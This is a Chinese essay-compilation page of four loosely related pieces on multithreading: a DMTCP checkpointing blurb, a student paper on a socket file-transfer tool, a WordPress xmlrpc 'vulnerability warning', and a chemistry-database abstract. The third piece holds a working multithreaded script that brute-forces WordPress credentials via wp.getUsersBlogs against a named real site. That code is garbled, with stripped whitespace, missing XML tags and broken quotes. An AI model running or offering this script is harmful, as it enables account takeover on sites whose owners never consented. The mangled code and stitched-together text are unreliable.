分布式多线程检查点工具:DMTCP

时间:2023-03-31 07:58:18 其他范文 收藏本文 下载本文

分布式多线程检查点工具:DMTCP(共4篇)由网友“酒精自由”投稿提供,下面给大家分享分布式多线程检查点工具:DMTCP,欢迎阅读!

分布式多线程检查点工具:DMTCP

篇1:分布式多线程检查点工具:DMTCP

高性能计算/分布式计算等大量计算需要程序运行几天、几周甚至几个月,如果期间因为电力或者不可避免的问题导致程序中断会浪费大量的时间和人力,还 有超级计算机在这段时间里运行的电力成本,我们没有遇到过电力问题,不过我们最近遇到的场景是实验室需要做强制安全检查,要求关闭所有电脑,所以我们需要 一种工具能设置断点暂停程序、把状态保存到硬盘、再按照要求恢复,就像程序员用 IDE 调试程序一样,设置断点、单步跟踪(或恢复运行),

在多主机、多线程的复杂分布式计算环境,给程序设置断点不是一件容易的事情,因为程序的某部分可能在其他主机上运行。DMTCP: Distributed MultiThreaded CheckPointing 是一个非常不错的工具,不需要修改 Linux 内核,不依赖内核和内核模块。

项目主页:www.open-open.com/lib/view/home/1387159794999

篇2:浅谈基于多线程的网络文件传输工具的改造论文

浅谈基于多线程的网络文件传输工具的改造论文

1 引言

如今,随着计算机应用的普及,许多人也已经将进入Internet作为下一个计算机升级的目标,而用Internet进行文件传输,则是计算机联入Internet的一个重要功能之一。因此各种文件传输系统便应运而生,如邮件,聊天工具等。这些软件在使用上各有所长,但与此同时,其自身仍存在缺点和局限性,这些都给文件传输带来了很多不便。首先,对远程服务器的依赖导致有些文件传输工具不能完全实现点对点的文件传输,甚至对文件的安全造成了威胁。其次,这些传输工具只适宜传输体积较小的文件,如果传输的文件体积过大,则会耗费很长时间,进而导致资源的浪费,倘若网络速度不理想,更有可能会导致传输中断。因此,开发一个功能简单,易于操作,传输效率高的文件传输工具势在必行。

2 环境与相关开发技术

2.1 Sock网络编程原理套接字(socket)是一种网络编程接口,实际上就是一个通信端点,提供了发送和接收数据的机制。而Winsock是基于Windows操作系统下的网络编程接口,也就是基于Socket模型的API。而最简单的一对一的CS结构的通信程序,就只有两个端点,即两个套接字(Socket),一个在Server端,另一个在Client端,这两个套接字就在CS间建立了双向数据传送的连接。每个套接字都有一个套接字地址,通常是IP和端口的组合。Socket分为阻塞模式和非阻塞模式:阻塞模式是指在指定套接字上调用函数执行操作时,在没有完成操作之前,函数不会立即返回。例如,服务器程序在阻塞模式下调用accept函数时将会阻塞服务器线程,直至接收到一个来自客户端的连接请求。默认创建的套接字为阻塞模式。非阻塞模式是指在指定套接字上调用函数执行操作时,无论操作是否完成,函数都会立即返回。例如,在非阻塞模式下调用recv()函数时,程序会直接读取网络缓冲区中的数据,无论是否读到数据,函数都会立即返回,而不会一直挂在此函数的调用上。在并发线程模型中,服务器程序中使用了一个线程来等待客户端的连接请求,然后创建新线程与客户端进行通信。因为每个客户端都拥有一个专门的通信服务线程,所以能够很及时地与服务器程序进行通信,不需要等待其他客户端通信结束。因此本设计采用了socket的非阻塞模式。2.2 c/s结构C/S (Client/Server)结构,它是一种软件系统体系结构,也就是客户机/服务器结构。它可以充分利用两端硬件环境的优势,将任务合理分配到Client端和Server端来实现。C/S结构的基本原则是“功能分布”原则,也就是将计算机应用任务分解成多个子任务,由多台计算机分工完成。客户端完成数据处理,数据表示以及用户接口功能;服务器端完成DBMS的核心功能。这种客户请求服务、服务器提供服务的处理方式是一种新型的计算机应用模式。现在已经普遍采用3层C/S结构,与传统的二层结构相比,三层C/S结构具有以下优点:首先,合理地划分三层结构的功能,从而使整个系统的逻辑结构更为清晰,提高系统和软件的可维护性和可扩展性;其次,可以更灵活地选用相应的平台和硬件系统,应用的各层可以并行开发或者各自选择最适合的开发语言。

3 文件传输工具的设计流程

3.1 文件传输工具的总体流程3.1.1 接收端的启动创建监听线程:(1)创建Socket,采用非阻塞模式。(2)通过bind()函数绑定IP地址和端口号。(3)通过listen()函数使其处于监听状态。3.1.2 发送端的连接(1)创建Socket。(2)通过connect()函数向接收端发送连接请求。3.2 文件传输工具的具体设计3.2.1 发送端(1)创建一个连接线程:1)创建socket()。2)根据用户界面输入的IP地址,调用connect()向接收端发出连接请求。3)连接建立后弹出对话框提示连接已建立。(2)选定文件后,创建一个对文件进行分包的线程:1)自定义一个合适的分包大小f_size。2)根据file.length得到文件的总大小,通过file.length/f_size求出该文件的分包数f_number。3)通过file.length%f_size求出该文件最后一包的大小flast_size。4)通过socket将文件基本信息(文件名f_name,文件大小f_size)和文件分包信息(分包大小f_size,分包数f_number,最后一包大小flast_size)发送给接收端。(3)创建一个发送文件数据的线程: sendThread() {WaitForMultipleEvents(); recv(); //接收分包信息 fseek(); //通过该函数将指针定位包信息所指的位置 send(); //发送分包数据 }3.2.2 接收端在第一个阶段,接收端作为服务器,负责监听客户端提出的连接请求,并且用socket的非阻塞模式。(1)创建一个监听线程:1)创建socket()。2)通过WSAEventselect()设置socket为非阻塞模式。3)通过bing()绑定主机IP地址和端口号。4)通过listen()使其处于监听模式。5)通过循环while(1){SOCKET sockConn=accept(sockSrv,(SOCKADDR*)&addrClient,&len);}使得发送端提出的连接请求能够被马上响应,并且新创建一个socket与发送端进行通信。注:监听线程始终开启,知道程序结束时才退出,全程监听发送端的连接请求。(2)创建一个接收文件信息的线程:以步骤1中新创建的socket为该线程参数,通过调用recv()接收发送端发送的文件基本信息,并将文件名,文件大小显示在界面上。(3)当接收端接收到该文件的基本信息后,创建一个函数,用来做接收文件的'准备工作。(4)创建一个接收文件数据线程。(5)创建一个函数判断文件是否接收完全。

4 主要实现技术

4.1 文件的分块网络应用程序是一种在不同系统的进程间通过网络通信协议进行的进程间的通信问题。在Windows编程中是通过套接字socket来编程的,socket分为阻塞模式和非阻塞模式,本设计为了提高数据的传输效率采用了socket的非阻塞模式。当文件数据很大时,使用套接字socket进行传输往往需要花费较长的时间,容易出错,因此我们将把文件分为N块,进行数据的分块传输。

4.2 文件的分块传输在传统算法中,sender将主动把分包后的数据块依次传送至receiver,而receiver只负责接收,但是由于sender并不能保证发送的数据块receiver都已正确接收,所以需receiver发送确认信号,从而影响传输效率。因此在本设计中receiver将主动向sender索要分包数据,而sender只需按接收到的分包信息发送相应的分包数据即可,直至receiver发送接收完毕信息为止。因此,此次设计将分为两大部分。第一部分:receiver作为服务器,sender作为客户端。receiver创建socket后则处于监听状态,当sender发现有文件需要传输时则首先向receiver提出连接请求,receiver监听到sender提出的连接请求后,马上响应并创建新的socket与sender进行通信。连接成功建立后,sender向receiver发送文件的基本信息(包括分包信息),而receiver继续循环监听。第二部分:sender在发出文件信息后,充当服务器,监听receiver。receiver接收到文件信息后,创建socket主动向sender发送分包信息索要分包数据,而sender接收到分包信息后将其解析并发送相应的分包数据。直至receiver检测到所有分包数据都已接收,向sender发送结束信息。

4.3 确认所有分包都已接收为解决这个问题,将自定义一个分包信息结构体,其中包括分包ID,分包大小,以及分包的接收状态(0:未接收,1:正在接收,2:已接受)。在sender进行文件分包时,会初始化文件信息,其中包括记录文件的分包数,分包的固定大小,及最后一个分包的大小。同时也会初始化每个分包信息。receiver在接收到文件信息之后,根据文件信息中提供的分包数申请等大的分包信息缓存区。并初始化每个分包的接收状态为0,表示尚未接收。当receiver取得分包ID并向sender发送时,修改此分包的接收状态为1,表示正在接收。当receiver正确接收此分包后,修改分包接收状态为2,表示已接收。当receiver判断所有分包的接收状态都为2时,即表示所有分包都已接收。4.4 多线程文件传输一个采用了多线程技术的应用程序可以更好地利用系统资源。其主要优势在于充分利用了CPU的空闲时间片,可以用尽可能少的时间来对用户的要求做出响应,使得进程的整体运行效率得到较大提高,同时增强了应用程序的灵活性。由于本设计采用的是Socket的非阻塞模式,采用多线程,可提高cpu利用率。于是,在文件的传输过程中,创建了3个线程,同时接收文件分包数据,创建线程后,一个应用程序可以同时有多个线程一起访问,因此在设计中用了大量的信号量和事件机制,以避免访存冲突。

5 具体实现过程

源程序的组成:在本设计中有两个程序,分别为sender和receiver。sender主要有三个部分,一个是senderDlg,用于和用户实现交互。负责在程序运行时创建MonitorImage线程,监听文件缓冲区中的文件状况,另外负责将选中的文件加入文件缓冲区中。同时还会在界面上显示出文件的基本信息以及发送状态。第二个是TransImageBuffer,主要用于初始化文件缓冲区,实现文件分包信息的添加和提取。第三个是ImageSender,用于实现文件的分包以及发送等。receiver中也包括三个部分:一个是receiverDlg,主要负责在程序开始运行时创建MonitorSender线程,监听sender端的连接请求,一旦监听到连接请求,则立即响应,之后循环监听。另外会实时显示文件的基本信息以及接收状态。第二个是TransImageBuffer,同样是用于初始化文件缓冲区,实现文件分包的添加和提取等。第三个是ImageReceiver,用于实现文件的分块接收以及文件存储等

6 总结

在编程之前,首先要对整个系统有一个很好的理解,对于系统的功能和需求分析透彻之后,利用软件工程的思想,合理的进行开发设计。

篇3:WordPress xmlrpc利用测试工具多线程版漏洞预警

以下是代码

importfuturesimportrequestsfromQueueimportQueueXML_URL=“www.myhack58.com/”USER_FILE=“username.txt”PASS_FILE=“password.txt”THREAD_NUM=20data=“”“<?xml version=”1.0“ encoding=”UTF-8“?>wp.getUsersBlogs

%s

%s”“”task=Queue()defattack():whilenottask.empty():username=task.get()pass_txt=open(PASS_FILE)forpasswordinpass_txt:req=requests.post(XML_URL,data=data%(username,password.rstrip(“\n”)))if039;isadmin039;inreq.text:print“[+] username = ”+username+“ password = ”+passwordbreakprint“[-] username %s finished”%usernamedefmain():user_txt=open(USER_FILE)forusernameinuser_txt:task.put(username.rstrip(“\n”))executor=futures.ThreadPoolExecutor(max_workers=THREAD_NUM)foriinrange(THREAD_NUM):executor.submit(attack)executor.shutdown()if__name__==“__main__”:main()

需要手工修改xmlrpc.php地址,准备字典username.txt和password.txt

GIST地址:

gist.github.com/sipcer/cf2b4e56fe28835c3ceb

篇4:分布式多线程并行处理技术在大规模化学结构检索数据库系统中的应用

分布式多线程并行处理技术在大规模化学结构检索数据库系统中的应用

提出以分布式、多线程并行处理技术实现基于甲骨文数据库管理系统的高效大规模化学结构检索数据库系统的方法;以相同的结构搜索算法和不同的模块组合机制分别构建了单机单线程、单机多线程、分布式单线程和分布式多线程4种不同的化学结构检索数据库系统,并在4种不同的实现方案下对同一组化学结构分别做了结构检索实验.结果表明:在4种实现方案中,分布式多线程并行处理方法的.检索效率最高,稳定性也很好(与其他3种实现方法相同).该方法已成功应用于微芯公司开发的TASS (Target Activity and Structure System)软件系统中.

作 者:苏振强 鲁先平石乐明  作者单位:深圳微芯生物科技有限责任公司,广东,深圳,518057 刊 名:计算机与应用化学  ISTIC PKU英文刊名:COMPUTERS AND APPLIED CHEMISTRY 年,卷(期):2004 21(5) 分类号:O665.4 O657.32 关键词:分布式并行计算   多线程   化学结构数据库   互斥对象  

如何系统游有效学习java基础

java毕业实习体会

暑期关于学习java实习报告

操作系统实习报告

java培训实习报告

java软件工程师自我评价

java毕业实习报告

Linux操作系统下的多线程编程详细解析

java企业的面试笔试题

面试题及答案

分布式多线程检查点工具:DMTCP
《分布式多线程检查点工具:DMTCP.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【分布式多线程检查点工具:DMTCP(共4篇)】相关文章:

计算机二级考试试题2022-08-23

java学习总结2023-12-10

医学知识网络模型的构建研究2023-01-11

java实习总结2024-01-31

计算机二级JAVA考试巩固试题及答案2022-12-04

java飞机大战心得体会2023-07-20

Oracle体系结构22022-05-06

计算机四级网络工程师试题及答案2022-05-15

JSP实习报告2022-10-09

系统分析师论文2023-12-29

点击下载本文文档